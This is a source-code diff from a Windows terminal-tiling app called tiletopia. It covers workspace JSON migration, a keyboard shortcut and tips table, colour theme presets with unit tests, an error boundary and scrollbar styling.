* automatically by {@link deserializeWorkspaces}. */
|
||||
export interface WorkspacesEnvelope {
|
||||
version: 2;
|
||||
workspaces: Workspace[];
|
||||
}
|
||||
|
||||
export const WORKSPACES_VERSION = 2 as const;
|
||||
|
||||
/** Construct an envelope wrapping a single workspace with the given tree.
|
||||
* Used for first-launch and as the destination of the v1→v2 migration. */
|
||||
export function singletonEnvelope(tree: TreeNode, name = "Default"): WorkspacesEnvelope {
|
||||
return {
|
||||
version: WORKSPACES_VERSION,
|
||||
workspaces: [{ id: newId(), name, tree }],
|
||||
};
|
||||
}
|
||||
|
||||
export function serializeWorkspaces(env: WorkspacesEnvelope): string {
|
||||
return JSON.stringify(env);
|
||||
}
|
||||
|
||||
/** Parse a persisted workspaces envelope. Accepts:
|
||||
* - Current shape: `{ version: 2, workspaces: [{ id, name, tree }] }`
|
||||
* - Legacy v1 shape: a bare {@link TreeNode} — wrapped as one workspace
|
||||
* named "Default" with a fresh id.
|
||||
* Per-leaf legacy migrations ({@link migrateLegacyLeaves}) still apply to
|
||||
* each workspace's tree. Returns null when the JSON is unrecognisable. */
|
||||
export function deserializeWorkspaces(json: string): WorkspacesEnvelope | null {
|
||||
let parsed: unknown;
|
||||
try {
|
||||
parsed = JSON.parse(json);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
// v1: bare TreeNode at the root
|
||||
if (isTreeNode(parsed)) {
|
||||
return singletonEnvelope(migrateLegacyLeaves(parsed));
|
||||
}
|
||||
|
||||
// v2: envelope
|
||||
if (
|
||||
typeof parsed === "object" &&
|
||||
parsed !== null &&
|
||||
(parsed as { version?: unknown }).version === WORKSPACES_VERSION &&
|
||||
Array.isArray((parsed as { workspaces?: unknown }).workspaces)
|
||||
) {
|
||||
const raw = (parsed as { workspaces: unknown[] }).workspaces;
|
||||
const workspaces: Workspace[] = [];
|
||||
for (const w of raw) {
|
||||
if (
|
||||
typeof w !== "object" ||
|
||||
w === null ||
|
||||
typeof (w as { id?: unknown }).id !== "string" ||
|
||||
typeof (w as { name?: unknown }).name !== "string" ||
|
||||
!isTreeNode((w as { tree?: unknown }).tree)
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
const tw = w as { id: string; name: string; tree: TreeNode };
|
||||
workspaces.push({
|
||||
id: tw.id,
|
||||
name: tw.name,
|
||||
tree: migrateLegacyLeaves(tw.tree),
|
||||
});
|
||||
}
|
||||
if (workspaces.length === 0) return null;
|
||||
return { version: WORKSPACES_VERSION, workspaces };
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Sentinel used in pre-shellKind workspaces to mark PowerShell panes. */
|
||||
const LEGACY_POWERSHELL_DISTRO = "PowerShell";
|
||||
|
||||
function migrateLegacyLeaves(node: TreeNode): TreeNode {
|
||||
if (node.kind === "leaf") {
|
||||
if (node.shellKind) return node;
|
||||
if (node.distro === LEGACY_POWERSHELL_DISTRO) {
|
||||
const { distro: _distro, ...rest } = node;
|
||||
return { ...rest, shellKind: "powershell" };
|
||||
}
|
||||
return { ...node, shellKind: "wsl" };
|
||||
}
|
||||
const a = migrateLegacyLeaves(node.a);
|
||||
const b = migrateLegacyLeaves(node.b);
|
||||
if (a === node.a && b === node.b) return node;
|
||||
return { ...node, a, b };
|
||||
}
|
||||
|
||||
function isTreeNode(x: unknown): x is TreeNode {
|
||||
if (typeof x !== "object" || x === null) return false;
|
||||
const o = x as Record<string, unknown>;
|
||||
|
|
|
|||
177
src/lib/shortcuts.ts
Normal file
177
src/lib/shortcuts.ts
Normal file
|
|
@ -0,0 +1,177 @@
|
|||
/**
|
||||
* Single source of truth for the keyboard shortcuts and inline tips shown
|
||||
* in the help overlay. README has a hand-maintained shortcut table that
|
||||
* mirrors this — keep them in sync until/unless we generate one from the
|
||||
* other.
|
||||
*/
|
||||
|
||||
export interface ShortcutSpec {
|
||||
/** Display string for the key combo, e.g. "Ctrl+Shift+E". */
|
||||
keys: string;
|
||||
description: string;
|
||||
}
|
||||
|
||||
export interface ShortcutSection {
|
||||
title: string;
|
||||
items: ShortcutSpec[];
|
||||
}
|
||||
|
||||
export const SHORTCUT_SECTIONS: ShortcutSection[] = [
|
||||
{
|
||||
title: "Layout",
|
||||
items: [
|
||||
{ keys: "Ctrl+Shift+E", description: "Split active pane to the right" },
|
||||
{ keys: "Ctrl+Shift+O", description: "Split active pane downward" },
|
||||
{ keys: "Ctrl+Shift+W", description: "Close active pane" },
|
||||
{
|
||||
keys: "Ctrl+Shift+P",
|
||||
description:
|
||||
"Promote active pane out one level (turns a nested pane into a full row/column; self-inverse)",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Tabs",
|
||||
items: [
|
||||
{ keys: "Ctrl+T", description: "New tab (blank workspace, one pane)" },
|
||||
{
|
||||
keys: "Ctrl+Shift+T",
|
||||
description: "Close current tab (confirms when the tab has live panes)",
|
||||
},
|
||||
{
|
||||
keys: "Ctrl+PageDown / Ctrl+PageUp",
|
||||
description: "Switch to next / previous tab",
|
||||
},
|
||||
{ keys: "Ctrl+1 … Ctrl+9", description: "Switch to tab 1 … 9" },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Multi-window",
|
||||
items: [
|
||||
{
|
||||
keys: "Right-click pane toolbar → Move to new window",
|
||||
description:
|
||||
"Pop the active pane into a fresh tiletopia window (PTY survives the move; scrollback ring replays)",
|
||||
},
|
||||
{
|
||||
keys: "Drag pane toolbar past the window edge",
|
||||
description:
|
||||
"Same as the right-click action — release the drag well outside the window to detach into a new window",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Navigation",
|
||||
items: [
|
||||
{ keys: "Ctrl+K", description: "Open jump-to-pane palette" },
|
||||
{
|
||||
keys: "Ctrl+Shift+← / → / ↑ / ↓",
|
||||
description:
|
||||
"Focus neighbour pane in that direction (window-level — works even when no terminal is focused)",
|
||||
},
|
||||
{
|
||||
keys: "Ctrl+Alt+← / → / ↑ / ↓",
|
||||
description:
|
||||
"Focus neighbour pane in that direction (from inside the terminal — intercepted before the PTY sees it)",
|
||||
},
|
||||
{
|
||||
keys: "Ctrl+Alt+H / J / K / L",
|
||||
description:
|
||||
"Same as Ctrl+Alt+Arrow but in Vim-style HJKL order (left / down / up / right)",
|
||||
},
|
||||
{
|
||||
keys: "Alt+1 … Alt+9",
|
||||
description:
|
||||
"Focus the Nth pane in layout order (DFS: left-to-right, top-to-bottom); clamped to pane count. Note: swallows bare Alt+digit — shells using readline digit-argument or vim buffer-jump may conflict.",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Broadcast",
|
||||
items: [
|
||||
{ keys: "Ctrl+Shift+B", description: "Toggle broadcast on active pane" },
|
||||
{
|
||||
keys: "Ctrl+Shift+Alt+B",
|
||||
description: "Toggle broadcast on ALL panes (same as titlebar 📡)",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Font size",
|
||||
items: [
|
||||
{
|
||||
keys: "Ctrl+= / Ctrl+- / Ctrl+0",
|
||||
description: "Zoom active pane in / out / reset",
|
||||
},
|
||||
{
|
||||
keys: "Ctrl+Shift+= / Ctrl+Shift+- / Ctrl+Shift+0",
|
||||
description: "Same, applied to every pane",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Terminal",
|
||||
items: [
|
||||
{
|
||||
keys: "Ctrl+Shift+C / Ctrl+Shift+V",
|
||||
description: "Copy selection / paste in terminal",
|
||||
},
|
||||
{
|
||||
keys: "Ctrl+Shift+F",
|
||||
description: "Open find-in-scrollback bar for the focused pane",
|
||||
},
|
||||
{
|
||||
keys: "Enter / Shift+Enter",
|
||||
description: "Next / previous match (while search bar is focused)",
|
||||
},
|
||||
{
|
||||
keys: "Escape",
|
||||
description: "Close find bar and return focus to terminal",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
title: "Help",
|
||||
items: [{ keys: "F1", description: "Show this help overlay" }],
|
||||
},
|
||||
];
|
||||
|
||||
export interface TipSpec {
|
||||
title: string;
|
||||
body: string;
|
||||
}
|
||||
|
||||
export const TIPS: TipSpec[] = [
|
||||
{
|
||||
title: "Per-pane shell picker",
|
||||
body: "Click the distro chip in any pane's toolbar to switch between WSL distros, PowerShell, or a saved SSH host. The pane respawns with the new shell.",
|
||||
},
|
||||
{
|
||||
title: "SSH host manager",
|
||||
body: "Titlebar 🔑 SSH hosts opens the manager. Add hostname / user / port / identity file / jump host / extra ssh args. Saved hosts appear in every pane's dropdown.",
|
||||
},
|
||||
{
|
||||
title: "Saved passwords",
|
||||
body: "Optionally save a host's password — stored in Windows Credential Manager (DPAPI-encrypted), never written to hosts.json. When ssh prompts on connect it's typed automatically. Hosts with a saved password show 🔒 in the list.",
|
||||
},
|
||||
{
|
||||
title: "Clickable links",
|
||||
body: "http and https URLs in terminal output get underlined and open in your default browser on click.",
|
||||
},
|
||||
{
|
||||
title: "Drag pane headers to swap or detach",
|
||||
body: "Grab a pane's title bar and drag onto another pane to swap their tree positions. Drag well outside the window edge (more than ~60px past) and release to detach the pane into a new window — same mechanism as the right-click 'Move to new window' action, PTY stays alive.",
|
||||
},
|
||||
{
|
||||
title: "Workspace persistence",
|
||||
body: "Layout, labels, distro choices, and SSH hosts auto-save to %APPDATA%/com.megaproxy.tiletopia (debounced 500ms). Closed panes don't come back — only the structure is restored, shells spawn fresh on next launch.",
|
||||
},
|
||||
{
|
||||
title: "Tabs (workspaces)",
|
||||
body: "Each tab is an independent tile layout — useful for keeping one tab per project. PTYs in non-active tabs keep running (a Claude session in tab A keeps going while you work in tab B). New tab starts with one default-shell pane; close confirms when the tab has live panes. Tabs auto-save to the same workspace.json.",
|
||||
},
|
||||
{
|
||||
title: "MCP server (let Claude drive the workspace)",
|
||||
body: "Titlebar 🤖 opens the MCP control panel. Start the server, then for Claude Desktop click 'Download .mcpb' and drag the file into Settings → Extensions — zero-config because the bundle reads your bearer token from %APPDATA% at launch (no copy-paste, survives token rotation). For Claude Code (terminal CLI) use the fallback snippet in the panel: it wires npx mcp-remote as a stdio shim because Claude Code's HTTP-MCP client ignores static bearer auth and tries OAuth instead. URL + token persist across restarts; Regenerate the token in the panel if it leaks. Default-deny per pane: toggle 🤖 on each pane's toolbar to expose it to MCP.",
|
||||
},
|
||||
];
|
||||
79
src/lib/theme.test.ts
Normal file
79
src/lib/theme.test.ts
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
import { describe, it, expect } from "vitest";
|
||||
import {
|
||||
resolvePaneColors,
|
||||
toXtermTheme,
|
||||
DEFAULT_PANE_COLORS,
|
||||
COLOR_PRESETS,
|
||||
type PaneColors,
|
||||
} from "./theme";
|
||||
|
||||
describe("resolvePaneColors", () => {
|
||||
it("falls back to defaults when nothing is set", () => {
|
||||
expect(resolvePaneColors(undefined, undefined)).toEqual(DEFAULT_PANE_COLORS);
|
||||
});
|
||||
|
||||
it("uses global values over defaults", () => {
|
||||
const global: PaneColors = { background: "#111111", cursor: "#abcdef" };
|
||||
const r = resolvePaneColors(global, undefined);
|
||||
expect(r.background).toBe("#111111");
|
||||
expect(r.cursor).toBe("#abcdef");
|
||||
// Unset fields still come from defaults.
|
||||
expect(r.foreground).toBe(DEFAULT_PANE_COLORS.foreground);
|
||||
expect(r.selection).toBe(DEFAULT_PANE_COLORS.selection);
|
||||
});
|
||||
|
||||
it("per-pane override wins over global, field by field", () => {
|
||||
const global: PaneColors = { background: "#111111", foreground: "#222222" };
|
||||
const override: PaneColors = { background: "#999999" };
|
||||
const r = resolvePaneColors(global, override);
|
||||
expect(r.background).toBe("#999999"); // override wins
|
||||
expect(r.foreground).toBe("#222222"); // inherits global
|
||||
expect(r.cursor).toBe(DEFAULT_PANE_COLORS.cursor); // inherits default
|
||||
});
|
||||
|
||||
it("always returns all four fields defined", () => {
|
||||
const r = resolvePaneColors({}, {});
|
||||
expect(Object.keys(r).sort()).toEqual([
|
||||
"background",
|
||||
"cursor",
|
||||
"foreground",
|
||||
"selection",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("toXtermTheme", () => {
|
||||
it("maps resolved colours onto the xterm ITheme shape", () => {
|
||||
const theme = toXtermTheme({
|
||||
background: "#0c0c0c",
|
||||
foreground: "#c5c8c6",
|
||||
cursor: "#ffffff",
|
||||
selection: "#3a3a3a",
|
||||
});
|
||||
expect(theme.background).toBe("#0c0c0c");
|
||||
expect(theme.foreground).toBe("#c5c8c6");
|
||||
expect(theme.cursor).toBe("#ffffff");
|
||||
// selection maps to xterm 5.x's renamed property.
|
||||
expect(theme.selectionBackground).toBe("#3a3a3a");
|
||||
// cursorAccent is pinned to the background for block-cursor legibility.
|
||||
expect(theme.cursorAccent).toBe("#0c0c0c");
|
||||
});
|
||||
|
||||
it("keeps the fixed softened white/brightWhite slice", () => {
|
||||
const theme = toXtermTheme(DEFAULT_PANE_COLORS);
|
||||
expect(theme.white).toBe("#c5c8c6");
|
||||
expect(theme.brightWhite).toBe("#e0e0e0");
|
||||
});
|
||||
});
|
||||
|
||||
describe("COLOR_PRESETS", () => {
|
||||
it("starts with the tiletopia default and every preset is fully specified", () => {
|
||||
expect(COLOR_PRESETS[0].name).toBe("Tiletopia Dark");
|
||||
expect(COLOR_PRESETS[0].colors).toEqual(DEFAULT_PANE_COLORS);
|
||||
for (const p of COLOR_PRESETS) {
|
||||
for (const key of ["background", "foreground", "cursor", "selection"] as const) {
|
||||
expect(p.colors[key]).toMatch(/^#[0-9a-fA-F]{6}$/);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
160
src/lib/theme.ts
Normal file
160
src/lib/theme.ts
Normal file
|
|
@ -0,0 +1,160 @@
|
|||
//! Terminal colour theming.
|
||||
//!
|
||||
//! tiletopia ships one hard-coded dark palette historically baked into
|
||||
//! XtermPane. This module turns that into a customisable model:
|
||||
//!
|
||||
//! - a GLOBAL default theme (persisted to localStorage, app-wide), and
|
||||
//! - optional PER-PANE overrides (stored on the LeafNode, persisted with the
|
||||
//! workspace tree).
|
||||
//!
|
||||
//! Only four colours are user-editable — background, foreground, cursor, and
|
||||
//! selection — the ones that actually move the needle on readability. The
|
||||
//! rest of xterm's ITheme (the 16-colour ANSI palette, etc.) stays fixed in
|
||||
//! {@link BASE_XTERM_THEME}: notably `white`/`brightWhite` keep the softened
|
||||
//! values that tame the Claude TUI's emphasis slots (see XtermPane history).
|
||||
|
||||
import type { ITheme } from "@xterm/xterm";
|
||||
|
||||
/** The four user-editable colours. All optional: an undefined field on a
|
||||
* per-pane override falls through to the global default; an undefined field
|
||||
* on the global default falls through to {@link DEFAULT_PANE_COLORS}. */
|
||||
export interface PaneColors {
|
||||
/** Terminal background. */
|
||||
background?: string;
|
||||
/** Default text colour. */
|
||||
foreground?: string;
|
||||
/** Cursor block colour. */
|
||||
cursor?: string;
|
||||
/** Selection highlight background. */
|
||||
selection?: string;
|
||||
}
|
||||
|
||||
/** Fixed slice of the xterm theme that is NOT user-editable. The softened
|
||||
* white/brightWhite values date back to the original hard-coded theme — they
|
||||
* keep the Claude TUI's emphasis text from hitting glaring pure white. */
|
||||
const BASE_XTERM_THEME: ITheme = {
|
||||
white: "#c5c8c6",
|
||||
brightWhite: "#e0e0e0",
|
||||
};
|
||||
|
||||
/** Ground-truth defaults — the historical tiletopia palette. Every editable
|
||||
* field resolves to one of these when nothing overrides it. Also exposed as
|
||||
* the first preset ("Tiletopia Dark"). */
|
||||
export const DEFAULT_PANE_COLORS: Required<PaneColors> = {
|
||||
background: "#0c0c0c",
|
||||
foreground: "#c5c8c6",
|
||||
cursor: "#ffffff",
|
||||
selection: "#3a3a3a",
|
||||
};
|
||||
|
||||
/** A named, ready-to-apply colour set shown as a one-click starting point in
|
||||
* the colour panel. */
|
||||
export interface ColorPreset {
|
||||
name: string;
|
||||
colors: Required<PaneColors>;
|
||||
}
|
||||
|
||||
/** Built-in presets. The first is the tiletopia default; the rest are
|
||||
* well-known community palettes (background/foreground/cursor/selection
|
||||
* only — the ANSI ramp is left to {@link BASE_XTERM_THEME}). */
|
||||
export const COLOR_PRESETS: ColorPreset[] = [
|
||||
{ name: "Tiletopia Dark", colors: DEFAULT_PANE_COLORS },
|
||||
{
|
||||
name: "Solarized Dark",
|
||||
colors: { background: "#002b36", foreground: "#839496", cursor: "#93a1a1", selection: "#073642" },
|
||||
},
|
||||
{
|
||||
name: "Gruvbox Dark",
|
||||
colors: { background: "#282828", foreground: "#ebdbb2", cursor: "#ebdbb2", selection: "#504945" },
|
||||
},
|
||||
{
|
||||
name: "Dracula",
|
||||
colors: { background: "#282a36", foreground: "#f8f8f2", cursor: "#f8f8f2", selection: "#44475a" },
|
||||
},
|
||||
{
|
||||
name: "Nord",
|
||||
colors: { background: "#2e3440", foreground: "#d8dee9", cursor: "#d8dee9", selection: "#434c5e" },
|
||||
},
|
||||
{
|
||||
name: "Light",
|
||||
colors: { background: "#fafafa", foreground: "#1c1c1c", cursor: "#1c1c1c", selection: "#cfe0ff" },
|
||||
},
|
||||
];
|
||||
|
||||
/** Merge a per-pane override on top of the global default, then fill any
|
||||
* still-missing field from {@link DEFAULT_PANE_COLORS}. The result always
|
||||
* has all four fields defined. */
|
||||
export function resolvePaneColors(
|
||||
global: PaneColors | undefined,
|
||||
override: PaneColors | undefined,
|
||||
): Required<PaneColors> {
|
||||
return {
|
||||
background:
|
||||
override?.background ?? global?.background ?? DEFAULT_PANE_COLORS.background,
|
||||
foreground:
|
||||
override?.foreground ?? global?.foreground ?? DEFAULT_PANE_COLORS.foreground,
|
||||
cursor: override?.cursor ?? global?.cursor ?? DEFAULT_PANE_COLORS.cursor,
|
||||
selection:
|
||||
override?.selection ?? global?.selection ?? DEFAULT_PANE_COLORS.selection,
|
||||
};
|
||||
}
|
||||
|
||||
/** Build a full xterm ITheme from resolved colours. cursorAccent is pinned to
|
||||
* the background so a block cursor's glyph stays readable. */
|
||||
export function toXtermTheme(colors: Required<PaneColors>): ITheme {
|
||||
return {
|
||||
...BASE_XTERM_THEME,
|
||||
background: colors.background,
|
||||
foreground: colors.foreground,
|
||||
cursor: colors.cursor,
|
||||
cursorAccent: colors.background,
|
||||
selectionBackground: colors.selection,
|
||||
};
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Global-default persistence (localStorage; frontend-only, no backend hop).
|
||||
// localStorage is shared across all windows of the same origin, so a new
|
||||
// window picks up the saved theme at startup, and the `storage` event lets
|
||||
// open windows react live (see App's listener).
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export const GLOBAL_COLORS_STORAGE_KEY = "tiletopia.globalColors.v1";
|
||||
|
||||
/** #rgb / #rrggbb hex validator — what `<input type="color">` emits and what
|
||||
* xterm accepts. We reject anything else so a corrupt localStorage value
|
||||
* can't poison the theme. */
|
||||
const HEX_RE = /^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/;
|
||||
|
||||
function sanitizeColors(raw: unknown): PaneColors {
|
||||
if (typeof raw !== "object" || raw === null) return {};
|
||||
const o = raw as Record<string, unknown>;
|
||||
const out: PaneColors = {};
|
||||
for (const key of ["background", "foreground", "cursor", "selection"] as const) {
|
||||
const v = o[key];
|
||||
if (typeof v === "string" && HEX_RE.test(v)) out[key] = v;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/** Read the saved global theme. Returns {} (→ all defaults) when absent or
|
||||
* unparseable. */
|
||||
export function loadGlobalColors(): PaneColors {
|
||||
try {
|
||||
const raw = localStorage.getItem(GLOBAL_COLORS_STORAGE_KEY);
|
||||
if (!raw) return {};
|
||||
return sanitizeColors(JSON.parse(raw));
|
||||
} catch {
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
/** Persist the global theme. Empty object is stored as-is (means "all
|
||||
* defaults"), keeping the round-trip lossless. */
|
||||
export function saveGlobalColors(colors: PaneColors): void {
|
||||
try {
|
||||
localStorage.setItem(GLOBAL_COLORS_STORAGE_KEY, JSON.stringify(colors));
|
||||
} catch (e) {
|
||||
console.warn("saveGlobalColors failed:", e);
|
||||
}
|
||||
}
|
||||
|
|
@ -2,12 +2,15 @@ import { StrictMode } from "react";
|
|||
import { createRoot } from "react-dom/client";
|
||||
import "./styles.css";
|
||||
import App from "./App";
|
||||
import ErrorBoundary from "./components/ErrorBoundary";
|
||||
|
||||
const root = document.getElementById("root");
|
||||
if (!root) throw new Error("No #root element found");
|
||||
|
||||
createRoot(root).render(
|
||||
<StrictMode>
|
||||
<App />
|
||||
<ErrorBoundary label="tiletopia">
|
||||
<App />
|
||||
</ErrorBoundary>
|
||||
</StrictMode>
|
||||
);
|
||||
|
|
|
|||
|
|
@ -38,28 +38,31 @@ body {
|
|||
.xterm { height: 100%; }
|
||||
.xterm-viewport { background: #0c0c0c !important; }
|
||||
|
||||
/* Themed scrollbars — Chromium pseudo-elements (WebView2 supports these). */
|
||||
.xterm-viewport::-webkit-scrollbar {
|
||||
/* Themed scrollbars — Chromium pseudo-elements (WebView2 supports these).
|
||||
Applied globally so every scroll container (tab strip, panels, menus,
|
||||
xterm viewport) matches the dark theme instead of falling back to the
|
||||
native WebView2 scrollbar. */
|
||||
*::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
}
|
||||
.xterm-viewport::-webkit-scrollbar-track {
|
||||
*::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
.xterm-viewport::-webkit-scrollbar-thumb {
|
||||
*::-webkit-scrollbar-thumb {
|
||||
background: #2a2a2a;
|
||||
border-radius: 4px;
|
||||
border: 1px solid #1a1a1a;
|
||||
}
|
||||
.xterm-viewport::-webkit-scrollbar-thumb:hover {
|
||||
*::-webkit-scrollbar-thumb:hover {
|
||||
background: #3a3a3a;
|
||||
}
|
||||
.xterm-viewport::-webkit-scrollbar-corner {
|
||||
*::-webkit-scrollbar-corner {
|
||||
background: transparent;
|
||||
}
|
||||
/* Firefox fallback (and the new spec) — not strictly needed in WebView2
|
||||
but free-and-correct. */
|
||||
.xterm-viewport {
|
||||
* {
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: #2a2a2a transparent;
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue